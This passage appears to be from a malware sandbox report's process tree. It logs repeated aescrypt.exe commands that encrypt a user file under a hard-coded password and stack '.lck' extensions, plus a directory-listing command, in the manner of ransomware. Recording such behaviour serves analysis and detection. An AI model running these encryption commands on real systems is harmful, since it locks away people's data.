                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5296
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5324
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5472
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5540
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5732
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5804
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3272
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
